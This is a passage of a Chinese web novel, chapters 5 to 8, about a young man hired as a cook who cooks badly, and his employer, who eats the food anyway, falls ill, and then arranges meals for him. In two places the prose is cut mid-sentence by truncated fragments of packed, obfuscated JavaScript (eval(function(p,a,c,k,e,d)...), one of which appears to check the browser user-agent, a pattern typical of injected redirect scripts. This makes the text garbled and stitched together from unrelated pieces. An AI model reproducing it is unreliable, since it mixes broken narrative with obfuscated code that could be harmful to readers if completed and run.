他心里咯噔一声,不知道蒲沧为什么这么一针见血。但自己毕竟是被雇来做饭的,总不能说自己做饭难吃自己都不愿意吃吧?他嘴硬,“煮得不多,都给你。” 蒲沧冷笑一声。 肉肠烤得滋滋冒油,里面也有充沛的汁水,但单吃肉肠还是有点噎。宴明舒咀嚼下咽的速度越来越慢。 蒲沧冷不丁开口:“热牛奶去喝。” 宴明舒莫名理解了蒲沧的意思,再看蒲沧现在吃着蛋饼喝粥并提醒自己喝牛奶的样子,总觉得这个场景非常家常,像自己在家和爸爸吃饭的样子,心里就软和下去。只是想到昨天自己热牛奶的惨状,拒绝:“不用了,很容易漾出来,麻烦。” 蒲沧又喝了口粥,提醒:“微波炉。” 宴明舒咀嚼的动作一停,飞快放下手里的叉子和肉肠,去厨房。 把牛奶倒进杯子里,送进微波炉半分钟,就得到一杯温度刚刚好的热牛奶。 他拿着牛奶出来,迫不及待喝了一口,觉得自己找到了什么奇妙的烹饪小技巧。 有了牛奶,宴明舒吃得更香了。而看着他吃饭的样子,蒲沧不自觉的加快吃饭的速度。 吃完饭离开前,他通知宴明舒:“做午饭,中午司机来接。” 有了昨天的经验,宴明舒很快接受这个要求,并且总结自己做的这几次饭的成功经验,得出自己插手越少食物越能吃的精辟道理。 当天中午,从冰箱里翻出冻好的成品水饺,煮熟送过去。 水饺也没煮好,不知道为什么那些水饺黏在一起、粘在锅底。他越看越不对劲,用铲子试图把它们分开,但越努力越悲哀,反而把水饺全部戳破了。 煮到最后,就变成了面皮和馅料混合的面汤。他自己看着这个面汤都觉得像泔水,奈何时间也来不及让他再做其他东西,想了又想,硬着头皮把早上蒲沧没吃完的蛋饼也带上了。 虽然这两个东西没一个能入口的,但起码……也算是给蒲沧一个选择的空间了。 他就这么来到蒲沧办公室,把午饭拿出来。 蒲沧倒是没对他把水饺煮成这样发表什么意见,还和之前一样,好像不管宴明舒送上什么东西,他都能面不改色吃下去。筷子夹不起来就用勺子舀着吃,吃了两口,突然停下,问:“水饺你包的?” 宴明舒自己做饭难吃自己心里清楚,小肚鸡肠玻璃心,听到这种疑问句,马上疑心蒲沧是不是质疑自己的手艺。 他如实:“不是我。我是冰箱里翻出来的,应该是金姐和王婆包的。” 蒲沧不再说话,放下勺子,转而吃早上剩下的蛋饼。 宴明舒:“……” 所以水饺到底是多难吃,居然能输给完全是自己做的蛋饼。 = 做晚饭时,宴明舒决定放弃平底锅,转而投入微波炉和烤箱这两个更加权威的领域。 小羊排用海盐腌渍半小时,送入烤箱。 而早上剩下的豆浆装到碗里,送入微波炉。 一分钟后,微波炉里的豆浆开始沸腾,并很快就漾出来,宴明舒连忙关上微波炉。但已经晚了,豆浆还是撒了一半。 都给蒲沧吧。 宴明舒专心等待烤箱里的牛排。 但大概十五分钟后,小羊排开始溅油。 油花溅到烤箱玻璃上,留下一道道划痕。宴明舒甚至听到烤箱里气球破开一样的声音,随后就是油溅到烤箱壁上的声音。 他心惊肉跳,又等了五分钟,眼看玻璃都要被油渍溅满,只好关闭烤箱,把小羊排拿出来。 整个烤盘、烤箱,都惨不忍睹。 但都这样了,他拿刀划了下小羊排,还是能看到里面粉色的纤维。 还没完全熟透。 不过…… 应该也没事吧。 七分熟刚刚好。 …… 应该是七分熟吧? 晚上蒲沧下班,他把看上去成色相当不错的羊排和豆浆呈上去,自己只喝牛奶吃面包片。 蒲沧看着两份的小羊排,拿起刀叉:“为什么又不吃?” 宴明舒装傻充愣。 蒲沧划开小羊排。 血液顺着他的刀口流出来。 宴明舒再次汗流浃背。 但蒲沧愣是跟没看到一样,把羊排切成小块,吃掉了。 = 冰箱里金姐王婆留下的半成品存货彻底吃空了。 明天还能做什么饭吃? 宴明舒自己是想不到了。 就在晚上和爸爸视频时,询问有没有什么非常方便就能快速做好的早饭。 宴爸爸建议:“阳春面?面条煮熟加上猪油酱油糖,再加上一个荷包蛋。特别方便。” “荷包蛋不会煎。” 宴明舒为难,“总是煎糊。” 正热心建议的宴爸爸皱起眉头,问:“明明,是你要做饭吗?” 宴明舒不想爸爸担心,本能想说不是。但是真的很需要爸爸给自己一些建议,所以撒谎:“嗯,因为朋友帮了我很多,我想感谢他。他很挑食,我想给他做些好吃的饭菜。” 宴爸爸松了口气,疑惑:“什么朋友,之前怎么没听你说过?” “等你彻底好起来能出院了,就介绍他给你。” 宴爸爸噙笑点头,随后给宴明舒出主意:“早餐可以做个蒸蛋,鸡蛋加水打散过筛,鸡蛋和水的比例一比一点五。再蒸十分钟,拿出来加芝麻油、生抽和葱花就好。” “主食吃葱油拌面,小葱切段加油,放到微波炉里炸,就是葱油,炸完后可以放点芝麻增加香气,要吃的时候就把面条煮熟过凉水,用葱油一拌,简单方便。” 宴明舒连连点头:“我先去厨房看看有没有材料。” 宴爸爸含笑:“去吧。” 宴明舒也没挂电话,拿着手机出去,到厨房翻找,成功翻出爸爸说的所有材料,还找出一个辅助他更加精准拿捏分量的食物称。 离开时,他扫了一眼,注意到书房的灯开着。 应该是蒲沧在工作。 回去又和爸爸说了会儿话。时间太晚,护工催爸爸尽快休息,宴明舒就挂掉电话。但时间还早,他看了会儿手机,又从床上爬起来,来到厨房。 书房的灯还开着,蒲沧还在工作。 正好。 自己先试试能不能成功做出蒸蛋和葱油,如果可以的话,给蒲沧当夜宵吃。 说干就干。 他按照爸爸说的步骤开始操作,充分利用食物称,精心计算比例。 半个小时后,他捧着外表光滑细腻的蛋羹,敲响书房的门。 等了大概有一分钟,门被打开。 蒲沧站在门洞下,半张脸隐在阴影里,而露出的下半张脸,脸色苍白。 是错觉吗?为什么觉得相较于晚饭时,他就连嘴唇也没了血色。 宴明舒又看了一眼,同时把手里的蛋羹递过去:“我做了夜宵,要吃点吗?” 蒲沧没说要不要,转身往书房里走。宴明舒跟着,看他坐到沙发上,就把碗放到沙发前的茶几上。 书房灯光明亮,把一切都照得分外细致。宴明舒终于确定,蒲沧就是不对劲。脸色苍白,就连刚刚走路的脚步,都虚弱很多。 现在看着这碗蛋羹,蒲沧问:“你的呢?” “只有这一碗。” 蒲沧把蛋羹放到他面前,盯着他:“你吃。” 为什么不吃?如果不舒服的话吃点热的会好一点吧? 不过这碗蛋羹看上去还不错,自己尝尝就尝尝。 宴明舒拿起勺子把蛋羹划开。 光滑的表皮分开,而底下的蛋羹…… 都是蜂窝状,一划开就有水冒出来,把精心调制的调料都冲淡了。 宴明舒:“……” 他默默把蛋羹划成小块,放下勺子,又把碗推到蒲沧面前,“你吃吧,就是给你做的。” 蒲沧拿起勺子,很快把蛋羹全部吃光。 他吃饭的速度依旧很快,咀嚼、吞咽,吃光后把勺子放到碗里,说:“好了。” 宴明舒拿碗起身,打算离开。 但走了两步,想到蒲沧苍白的脸色,莫名担心,又转过身:“你是不是不舒服?”< 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蒲沧:“不看医生。” 什么毛病。多大的人了,还害怕医院和医生吗? 因为担心,宴明舒语气也不是很好了:“那怎么办?” “休息会儿就好。” 病了就是病了,怎么可能休息会儿就好了呢。 宴明舒问:“你到底哪儿不舒服?” 蒲沧又不说话了。 宴明舒着急,按在他肩膀上的手控制不住用力,推了一下怎么都不吭声的人:“说话啊。” 但蒲沧实在是太瘦了,现在不舒服身体也没力气,被他这么一推,居然往一边倒去。宴明舒吓一跳,又连忙俯身拉住蒲沧,看他蹙起的眉头,无意识的轻轻抚摸自己刚刚推过的地方,像安抚被吓到的小朋友。 “对不起对不起,我也是着急。你不舒服要赶快说啊,不要把小病拖成大病,是感冒了还是……” 蒲沧说:“胃疼。” 他可能并没有示弱的意思,但身体虚弱,又因为不情愿开口,声音闷闷的,像受了伤非要逞强,在大人刨根问底的关心下越发委屈,说出伤口所在位置,期待大人安抚的小孩。 刨根问底的宴明舒:“……” 汗流浃背了。 蒲沧这两天的饭菜都是自己做的。 那到底是什么引发了他的胃疼? 好难猜啊。 应该不会是自己做的焦糊的鸡蛋、牛排、蛋饼、奶油蘑菇汤……或者没完全熟透的小羊排吧? 而且今天晚上那杯豆浆是熟透了吧?没熟透的豆浆是不是会引起食物中毒,导致胃疼、头疼、呕吐? 如果刚刚的着急只是关心蒲沧,那现在还添了点内疚。宴明舒语气都好起来了,小声:“那,那更应该去医院看看啊,找医生拿点药吃。” 蒲沧还是那句话:“不去。” “家里有药吗?我去给你拿,吃一点好不好?” “不吃。” 不是,为什么不吃啊。自己做的饭都能下嘴,吃点药怎么了? 宴明舒着急又无奈,偏偏想到蒲沧现在为什么生病,也没好意思说责备的话,只好问:“那你想怎么办。” “休息会儿就好。” 那怎么现在还在书房?这么冷,沙发也没有客厅的软。 他说:“回房间躺下好好休息?” 蒲沧看了他一会儿,起身。身体很虚弱,但还是站得很直,不仔细看根本看不出一丝生病的脆弱痕迹。 宴明舒跟着站起来,看他行动间又出了冷汗,追上去擦干,扶住他的肩膀:“慢慢走。” 蒲沧放慢脚步。 宴明舒:“想不想吐?” “吐过了。” 都吐过了还不回房间好好休息,还在书房工作? 宴明舒动作越发轻缓,扶他到主卧那张大床上躺下,给他盖好被子,起身:“你躺好。” 手被拉住。 他回头看过去,蒲沧被埋在被子里,目光深幽:“干什么?” “给你倒点热水。” “不喝。” 宴明舒只好又走回去,坐在床头:“那你想干什么?” 蒲沧看他坐好,这才松开拉住他的手。 宴明舒只觉得那只冰凉的手渐渐松开,手心先离开,指尖又在自己腕上多停了一秒,才缓缓离开。明明就是最简单的一个动作,做来却显得多温柔缱绻似的。 蒲沧从床头抽出湿巾,又重新拉住宴明舒的手,摊开他的掌心,拿着湿巾认真擦拭。 湿巾冰凉,淡淡的酒精味席卷鼻尖。 宴明舒看着蒲沧轻缓认真的动作,内心升起一丝异样。 蒲沧把宴明舒刚刚给他擦冷汗的手心仔细擦了一遍,把湿巾丢掉,还是看宴明舒。 手心好像还残留着刚刚的触感,面对蒲沧的视线,宴明舒不自然的握紧手心:“你,快休息。” 他原本想让蒲沧赶快休息,自己就回自己房间了。 但蒲沧就这么看着他,目光专注深沉。 而他看着蒲沧因为胃疼而苍白的脸色,想到自己作孽似的那些饭,再感觉到手心里的凉意渐渐消散。要离开的话怎么也没说出口。 毕竟也是个因自己而起的病号,于情于理自己要多照顾一点。 宴明舒:“我再照看你一会儿。” 蒲沧又看了他两秒,似乎终于确定他说的是真话,这才闭上眼。 宴明舒在床头坐下,良久,懊恼的叹了口气。自己都不确定是懊恼做饭难吃把蒲沧吃病了,还是懊恼刚刚没说真话,现在就要这么看着蒲沧睡觉。 不过他很少责怪自己,所以懊恼着懊恼着,就开始祸水东引,觉得蒲沧不对劲。 自己根本不认识他,他却恨自己,这个一开始就很不对劲。 不过一开始宴明舒对他不感兴趣,觉得他是个神经病,懒得探究。 但这么两天过去,口口声声说恨他的蒲沧并没有实际的报复行为,反而在刘敞面前配合他的挑刺、给他住不合规矩的次卧、要他一起吃饭、把他做的那么难吃的饭全部吃下。还在生病时,用那种眼神看自己,那么仔细的给自己擦手。 现在房间就只有他们两个,蒲沧睡着了,因为身体不舒服,哪怕睡着了也不安稳,眉心紧紧拧在一起,呼吸急促。 宴明舒看着他,忍不住开始想——自己认识他吗?和他有什么不为人知的过去吗?他为什么要这样做? 但他着实想不到自己会和蒲家的人有什么联系。 毕竟说实话,什么国宴大厨什么家族手艺,在这些特别有钱的人眼里,也都只是个厨子。刘敞那个餐厅也被吹捧着说是文艺圈御用餐厅,一座难求。但蒲沧去了,他还不是得上供着,蒲沧要想伸手打,刘敞也得笑着把脸凑上去。 自己能和蒲沧有什么联系? 蒲沧又为什么说恨自己? 想得脑子都疼了也想不到,宴明舒干脆不想了。 反正是蒲沧的事,他爱怎么想怎么想,爱怎么做怎么做,只要不影响到自己,就不关自己的事。 夜已经深了,他起身要走。 刚站起来,床上的蒲沧就睁开眼。 宴明舒怕他又不舒服,一时没敢动,就这么看着他。 蒲沧看到他,睡着时无意识紧蹙的眉心缓缓舒展,闭眼又睁开,似乎确定他就是真实存在的,才哑声说:“别走。” 看吧,就是很奇怪。 宴明舒怕吵醒他,放轻声音:“我要睡觉。” 蒲沧让出半张床,理智还没完全找回,再次说:“别走。” 宴明舒的理智和善良又开始打架。 ——熬夜照顾病人很辛苦,而且自己明天还要早起给他做早饭。 ——但他是因为自己才生病的,而且自己做的早饭……真的不会让他病得更严重吗? 宴明舒还是心软起来,又推推蒲沧,坐到床上,威胁:“明天再不好起来我就去找医生了。” 蒲沧看他坐下,躺好,盖上被子一角。 这才心满意足重新闭上眼,说:“不看医生。” 6. 第 6 章 月落日升,朝阳驱散黑暗。 别墅后花园,花草匠正在修剪树枝、整理草坪。阳光照在草叶上将落不落的水滴上,折射出莹彩的光。 房间里 ,刺耳的闹钟声被压在被子底下,声音沉闷,但依旧突兀的惊散一室静谧。 宴明舒被骤然响起的闹钟声吵醒,眼睛还没完全睁开,就伸手在床头摸索,想把闹钟关闭。但怎么也没摸索到闹钟,反而摸到柔软的皮肤,还带着另一个人的温度,近在咫尺。 宴明舒猛地收回手,睁眼看过去。 蒲沧也醒了,眸光半垂,不似平常的冷漠,反而雾蒙蒙的,正看着他。 宴明舒很难从他的眼神里分辨他是在看自己,还是在表达对闹钟的不满。 不过将心比心,如果是自己大早上被吵醒,大概会把那个设闹钟的人骂一百遍,于是他简单粗暴理解为是后者,解释:“是我七点半起床做饭的闹钟。我现在就关上。” 他在不间断的闹钟声中不断摸索,动作越发仓促:“我的手机呢。” 外面摸不到,他就把手伸到被窝里摸。被窝里还带着两人的温度,暖融融的。 宴明舒满心都是还在响着的手机,探索的幅度越来越大,摸索间手指碰到蒲沧的胳膊,擦着湿热柔韧的皮肤,撞到蒲沧的胸口。 …… 手指一顿。宴明舒蜷起指尖,想要收回手。 蒲沧又把手伸过来,指节碰到他的,随后把手机塞过来,声音微哑:“手机。” 宴明舒接过手机,背过身飞快关掉闹钟,随后掀开被子站起来。 起床时动作幅度太大眼前一黑,但很快就好了,宴明舒也没停下,踩上拖鞋就往外走:“我去做饭。” 走两步,又回头问蒲沧:“胃还疼吗?” 蒲沧对上他写满担心的眼睛,摇头。 宴明舒这才松了口气。 幸好没事,不然自己得内疚死。 蒲沧已经因为自己做的饭胃疼,宴明舒不敢凭借直觉随便做饭,爸爸教的内容说细致也细致,但没有具体步骤,不一定能成功。宴明舒在网上重新找了攻略,拿出食物称,按照教程的每一个步骤仔细操作。 把蛋羹液送上蒸锅,他重新搜索“营养早餐肉蛋奶”。 ——虽然蒲沧这次胃疼有自己做的难吃饭菜的功劳,但能说完全怪自己吗? 肯定不能吧。金姐做的饭那么好吃,蒲沧也就只吃了一点,就是吃饭太少身体不好,免疫力才这么低下。 要好好补补营养。 蛋白质、碳水、膳食纤维、脂肪,都要吃够。 宴明舒精心选菜、确定早上的菜单。 葱油面、虾仁滑蛋、香煎鸡排、蛋羹、蚝油生菜。 一小时后,把昨天没做完工作处理完的蒲沧来到餐厅,看到餐桌上丰盛的菜色。 还有坐在餐桌前,支起胳膊撑在桌上,垂头不知道在做什么的宴明舒。 他腕上还带着那串紫檀手串,因为支起胳膊的姿势往下滑,停在腕骨底下四指的位置。而圆润油亮的紫檀珠子下面,是白皙的皮肤,还有一颗芝麻大小的痣。 蒲沧看着那节手腕,再顺着手腕往上,看毛茸茸的脑袋和垂下来分外飘逸的额发。今天早上从他床上醒来的,头发被睡得很乱,脑袋上有一缕头发翘起来,像土豆生出的新芽。 宴明舒不是不谙世事的人,他很聪明,也看得懂人和人之间的曲曲绕绕,天生有种老练的豁达。但总有些时候和小孩一样,看上去很幼稚单纯。 之前是,隔了这么多年,也还是。 蒲沧缓缓走过去坐下,拿起餐具:“吃饭。” 宴明舒突然回神,收起胳膊抬头。 袖子落下,遮住小痣,腕上的手串也落下来,松松停在大鱼际。 他下巴上有被压出来的小片红痕,像片荷花瓣。嘴唇颜色却有点白,蔫蔫不乐。和蒲沧对视两秒,也拿起餐具,切分食物归属:“拌面是给你做的,你吃。” “蛋羹也是给你的。” “青菜也要多吃。” 蒲沧看他把食物一一推到自己面前,问:“你的呢?” 宴明舒硬着头皮夹了块滑蛋:“我随便吃一点。” 他把滑蛋往嘴里一放,随后动作和表情同时僵住。半秒后,他拿起一边的杯子递到嘴边,作势喝水,实则又把滑蛋吐出来了。 难吃,水囔囔的,还带着鸡蛋的腥味。 但真的好饿,饿得他眼冒金星,刚刚就是弯腰放个筷子,起身时动作幅度太大眼前又是一黑,这次持续时间也久,他坐在椅子上缓了很久才缓过来。 已经低血糖了,要好好吃饭。 可是自己做的饭真的好难吃。 宴明舒面如土色看着桌上的菜,再看蒲沧三五不时夹起菜往嘴里送的筷子,甚至有点怀疑自己。 是不是自己太挑食了?蒲沧就能这么面不改色的吃下,是不是自己做的其实味道也还行,但因为自己时刻给自己心理暗示,才让自己觉得自己做的饭很难吃? 他尝试着又拿起筷子,夹了块滑蛋里掉出来的虾仁。 自己放了盐和白胡椒,怎么样都比纯水煮好吃一点吧? 他送到嘴里,咀嚼。 才嚼了一下,就忍不住又拿起杯子,吐了。 很难吃。 甚至不如纯水煮的鲜甜Q弹。 味蕾不能接受这么难吃的食物,太久没吃饭的肠胃却在感受到食物时,配合的运作起来等待食物的到来。在察觉到宴明舒把食物吐掉后,难耐的发出咕噜噜的叫声。 在安静的餐厅格外引人注目。 蒲沧看过来。 宴明舒放下筷子,起身:“不打扰你了,你先慢慢吃。” 站起来的速度太快,眼前又是一黑,差点栽过去。 关键时候蒲沧站起来,他一下栽到蒲沧肩膀上,被蒲沧扶住站好。 对方的力气很大,捏得他胳膊发疼,就连撞到对方肩膀的胸口,也被突起的骨骼硌得疼。 宴明舒疼了一下,反而很快恢复意识,眼前也完全清晰起来。 他看到蒲沧阴沉的脸色,甚至比昨天蒲沧自己胃疼时还要难看,就连语气也冰冷至极:“为什么总不吃饭?” = 可能是实在太饿又实在不想吃自己做的难吃东西感到委屈,也可能是昨天蒲沧给自己擦手的动作过于细致让他察觉到蒲沧对自己的珍视,更有可能是两者兼而有之,知道对方珍视自己,所以一点委屈也忍不了。 宴明舒皱着眉,一句话说得震耳发聩:“因为我做饭很难吃啊!” 蒲沧的脸色依旧很难看。 但这句话就像个开关。之前宴明舒哪怕心里清楚也不好意思主动提。现在说都说了,他就再也停不下来。 “我根本掌握不好火候,怕再把鸡排和滑蛋炒焦让你胃疼,都是蒸出来的。蒸汽把它们弄得水叽叽的,口感真的很恶心。” “拌面也很难吃,葱油还全是葱味一点都不香。” “还有这个蒸蛋。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他说他就是来为难自己的。 …… 所以他本来就是来为难自己的,非要自己做饭,还再三强调让自己陪他一起吃饭。 就是为了让自己也吃自己做出来的难吃东西。 逻辑顺了。 但宴明舒更不可思议了。 他是多有病,才能这么恨自己。为了为难自己,都不惜亲自吃下那些东西,吃得胃疼还不知悔改,今天还要拉着自己一起吃? 有必要做到这一步吗? 思索间,敲门声响起,蒲沧的声音透过门板传过来,沉闷:“出来吃饭。” 宴明舒不说话,甚至听到他的声音都烦,忍不住拿起枕头朝门上砸过去。 但身体没力气,枕头在半路坠机。 不识好歹的枕头! 蒲沧的厨房、次卧、所有的一切,都和他这个人一样不识好歹! 宴明舒更生气了,低血糖的症状也尽数消失,他浑身充满力量,冲着门板喊:“不吃!都说了很难吃,狗都不吃。” “不是你做的。” “不是我做的还能是谁做的啊?!金姐和王婆都不在了,我去问保洁阿姨,阿姨说他们有员工餐,但我和你一起吃饭,都没准备我的员工餐。” 宴明舒谴责,“说好了包饭,合同里都写了,为什么不给我提供员工餐?!” “出来。” “不!你先告诉我从哪儿来的饭。” 门外,蒲沧半晌没说话。 宴明舒强调:“我是不会吃我做出来的恶心东西的!” “我做的。” 宴明舒一顿,几乎怀疑自己的耳朵。 蒲沧的声音更轻了些,让他几乎听不清楚。 “做好了,出来吃饭。” 7. 第 7 章 和往常一样,助理和司机在八点半到达别墅,接上老板去公司。路上,助理会简单汇报今天需要参加的会议、应酬。 今天他们到的时候,没看到蒲沧。 这在之前是从来都没发生过的事情。 助理甚至都怀疑,在自己不知道的时候,小行星要撞击地球了。然而仔细一想又觉得不可能——在他的刻板印象里,就算是小行星今天要撞击地球,他老板大概也只会提前上班,召开会议促进产业转型、改变定位,以便能更快适应末世或者阴曹地府的商业环境。 那就是病得失去意识和自主能力了? 助理紧张又焦灼,在客厅等待大概两分钟,等到了老板。 他老板穿着工作的西装,从餐厅走出来,还拿着餐盘,盘子上放着一碗一碟。 助理眼睁睁看着他严重厌食的老板拿着餐盘走向次卧的方向。 长长的走廊遮住视线,让他看不到场景,只隐隐听到敲门声,之后就是他老板叫里面的人出来吃饭。 隔着门板,他倒是听不到房间里的人说了什么,只听到他老板说“不是你做的”“出来”,还说…… “我做的。” 助理:“……” ???你做的? 不是,你请的是正经厨子吗?没听说过谁一个月给厨子开五十万的工资,还亲自给厨子做饭并送到门口的。 惊讶间,蒲沧走回来。 助理眼观鼻鼻观心,尽量缩成一团减少存在感。 好在他老板压根没心思注意他,又回到餐厅。 而隔了大概半分钟,宴明舒也出来了。 宴明舒倒是注意到客厅的助理,客气礼貌的打了个招呼。也没停,接着往餐厅走。 越往餐厅走脚步越慢,在门口把衣服抚平,仰首挺胸走进去。 蒲沧在餐桌前坐下,面前是放了这么久已经坨掉的葱油拌面,还有他做出来的那些难吃饭菜。 而他刚刚坐着的位置,现在放着一碗蛋羹、一碗紫菜虾仁的汤面,汤面上还放着荷包蛋、番茄片、煎猪排。 看上去比他做的那些恶心东西好吃多了。 宴明舒艰难维持脸上的不满表情,却怎么也控制不住逐渐加快的脚步。 蒲沧没看他,帮他把椅子扶正:“吃饭。” 宴明舒顺着台阶下,坐好拿起餐具。 他先拿勺子划了下蛋羹。 虽然不是嫩滑如布丁,但丝滑没有蜂窝组织,舀一勺放到嘴里,也就是鸡蛋羹的味道,不算好吃,但不难吃。 他咽下这一口,垂着头,抬眼瞅蒲沧。 蒲沧也正在看他。 宴明舒心虚移开视线,含着蛋羹连连点头。 蒲沧这才拿起餐具。 开始吃宴明舒口中狗都不吃的恶心东西。 宴明舒把蛋羹吃了一半,开始吃面。 味道就是紫皮虾仁汤的味道,不好吃,也不难吃。只是蒲沧放了很多虾仁,这一碗面看起来特别多。宴明舒提议:“用虾皮会不会好一点?” 蒲沧重新拌开坨在一起的葱油拌面,闻言表情丝毫不变:“吃你的。” 宴明舒忍不住露了个嫌弃的表情,摇头晃脑学:“吃你的。” 蒲沧:“……” 学人精宴明舒很快收敛表情埋头吃饭,但蒲沧看着他垂下的脑袋,好像还能看到他刚刚摇头晃脑阴阳怪气的样子,拿着筷子的手在空中停了许久,才缓缓恢复动作,同时把眼里不知道为何升起的笑意压下去。 蒲沧做的份量很大,味道也不是特别好吃,宴明舒其实吃不完,但想到中午蒲沧要在公司,给自己做饭这事大概也没第二次了,那就只能吃自己做的难吃饭……嘴里不好吃的饭菜都显得美味多了。他硬是给吃光了。 吃完饭蒲沧要去工作,宴明舒和他商量:“我早上要出去一趟,十一点就回来做午饭,不会影响工作。” 蒲沧淡淡看着他,似乎在思考。 宴明舒:“我去医院看我爸。” 显然,这个理由非常合理。 蒲沧答应:“让司机送你去,十二点带午饭来公司吃饭。” 果然,中午要自己做饭,而且要和蒲沧一起吃。 宴明舒坦然拒绝:“我不想吃,我做饭真的很难吃。” 能因为自己不肯吃自己做的饭,而亲自下厨给自己做饭的人,就算是恨自己,又能有多恨。 宴明舒再次确定蒲沧对自己的珍重,耍赖:“合同上只写了给你做饭,没说还要和你一起吃我做的饭啊,这是另外的价钱。” “那你想怎么办?” 蒲沧依旧是那副冷淡表情,宴明舒一眼看过去,很难分辨他在嘲讽,还是在真心询问,只听到他问,“我给你做?” 宴明舒大惊失色:“这怎么可以。” “你以为你做饭就很好吃吗?” 蒲沧:“……” 他的脸色沉下去。 宴明舒看着他的表情,心里暗爽。还要斤斤计较接着说:“你做的饭也就是和我比才能赢,其实味道很一般,连着吃两顿我也吃不下。” 蒲沧冷笑:“那你饿着吧。” = 到医院时,宴爸爸正在输液,护工在一边坐着,陪宴爸爸聊天。 宴明舒刚推开病房门,正说话的宴爸爸就抬头看过来,和护工的话说到一半就停下,招呼他:“明明。” 护工才顺着看过来,起身:“刚刚还和我说你呢。” 宴明舒把排队买来的点心匣子放在床头柜子上,问:“说我什么了?” “说你从小就不好养,嘴馋又挑食,总想吃些东西,可一旦饭菜不合心意,宁可饿着也不吃。” “幸好我有这么一个好爸爸,都这样了还给我养这么大。” 宴明舒把点心盒子拆开,递给爸爸一块,又问护工,“吃点心吗?” 护工摆手拒绝,把空间让给他们父子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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但越往家里走,越不确定了。 小火慢炒要多慢? 油热下锅要多热? 怎么样才能把饭做得熟而不焦,而且很好吃呢? 司机把车开到别墅里,停下。宴明舒开门下车,径直走向厨房。 又要开始今天中午的操劳了。 做什么好呢? 推开厨房门,宴明舒的视线缓缓扫过去,眼神骤然亮起来了。 他惊喜:“金姐!” “王婆!” 正在洗菜切菜的两个人回头看过来,招呼:“明明。” 宴明舒喜悦:“你们怎么回来了?” 金姐笑着回答:“蒲先生让我们回来,专门给你做饭。” 8. 第 8 章 金姐和王婆是真不缺工作。她俩一开始就是有厨师证的高级保姆,通过人才中介被介绍来到这里,蒲沧给他们开远超市场价的工资,还只需要她们两个人做一个人的饭,再加上蒲沧不常在家,一月里需要她们做饭的次数不超过二十次。 总而言之,蒲沧的工资非常好拿。而且因为她们在这里工作,很多想和蒲家打上交道的人会迂回着接近她们,想把她们挖回家,了解蒲沧的生活习惯饮食习惯,以便投其所好接近蒲沧。 不过即使他们开了双倍工资,金姐和王婆也没想过跳槽——能住在这种别墅的其他人家起码十几口人,一天三顿做下来,工作量就抵得上在这里一个月的工作量了。所以两个人干了这么久,始终没想过换户人家。 被通知来了个新厨师用不上她们时,还有点怅然若失。再找个和蒲沧一样慷慨大方还不用干太多活的主家有点难,俩人一合计,也没立即找工作,而是去休息了两天。 结果也就才过了两天,又被一个电话雇回来了。 蒲沧给她们加了工资,工作量却一点都没加——还是只负责一个人的饮食。 不是蒲沧,是蒲沧雇来的新厨师。 她们拿着违约的赔偿金,正大光明休息了两天,很快又得到了工作,只是服务对象从主家,变成了主家的厨师。 她们从厨师摇身一变,变成了给厨师做饭的厨师。 现在看着她们的服务对象,金姐和蔼:“今天中午想吃点什么?” 宴明舒眼睛都亮了:“什么都能做吗?” “都能,王婆还会做中式面点和点心,我会做西式面包,不是很复杂的西餐也都可以做。” 宴明舒几乎要被惊喜淹没。他飞快点了自己想吃的菜,问:“可以吗?” 金姐:“可以。” 王婆已经打开冰箱挑选食材了。 宴明舒站在厨房门口这么一看,被自己这两天弄得乱糟糟的冰箱现在整齐干净,各种食材分类存放。王婆动作麻利,很快拿出来,一点都不会影响到其他食材的摆放。 都是蒲沧花钱请来做饭的,他不好意思只让王婆和金姐做,也跟着进了厨房,捞起袖子打算继续王婆的洗菜工作。 手都还没放到水龙头底下,王婆先看到了,她连忙制止:“你放着,请我们来就是来给你做饭的,你不用下手。” 宴明舒失去打下手的机会,只能在原地看着。 看了一会儿,他意识到不对劲:“这些是不是有点少了?” 王婆有些惊讶的样子:“不够吗?” “不够,这些只够我一个人吃。” 王婆确定:“就是给你一个人的啊。” 宴明舒:“蒲沧也要吃啊,我十二点要去公司给他送饭,和他在公司一起吃。” 可蒲先生说只用做宴明舒一个人的。 王婆迟疑。 宴明舒确定:“我们两个人吃。” 王婆有些拿不定主意,去看金姐。 最后还是金姐接过王婆手里的量杯,倒了两人份的米开始淘洗,说:“那我们就一起做了吧,等今天中午蒲先生吃吃看,如果他不满意,会详细告诉我们怎么做的。” 她俩动作麻利配合默契,很快处理好食材,左右开弓,很快就做好四菜一汤,用餐盒装好,交给宴明舒,再目送他坐上去公司送饭的车。 因为金姐和王婆动作很快,宴明舒就来到蒲沧办公室时才刚刚十二点。蒲沧还在会议室开会,办公室里没人。宴明舒很有分寸,没多看,就站在他们一贯吃饭的小桌子前,把餐盒一一拿出来打开,把蒲沧的那份米饭拆开放到他座位前,甚至贴心的放好餐具和纸巾。 蒲沧就是这时候进来的。 宴明舒还记挂着他昨天胃疼,今天早上又吃了自己做的难吃饭。现在好不容易有金姐和王婆做的色香味俱全的饭菜,当然要多吃一点好好补补。 于是听到声音就急忙回头招呼:“快来吃饭。” “金姐和王婆做的饭,特别香。我还让她们煲了个汤,不过时间太短了,用高压锅煮的,味道没有瓦罐炖出来的好喝,先凑合一下。” 蒲沧听他絮絮叨叨分析饭菜口味的声音,还有背对着自己分放餐具的背影,短暂恍惚,就连脚步也越来越慢。 宴明舒早上吃多了现在不饿,就是两天没正经吃一顿好吃饭,有些馋。 看一只只巴掌大小裹满酱汁的油焖大虾,都能想到味道有多Q弹,就等着蒲沧过来一起吃饭呢。没想到等了会儿没等到动静,只好回头看过去,招呼:“吃饭啊。” 视线尽头,蒲沧眉心松展。 他走过来,应:“好。” 宴明舒看他越走越近,甚至有点迫不及待的先坐下,就等他也坐下来开动。 蒲沧在距离餐桌一米的距离停下,看着餐桌上的四菜一汤,紧紧绷着脸:“我的饭呢?” 宴明舒没回头,自然也不知道蒲沧现在满脸愠色,也没从他一贯冰冷的声音里听出什么,以为只是简单的询问,理所当然把蒲沧的那份米饭举起来:“这里。” “王婆用瓦罐煮的米饭,很有米香。” 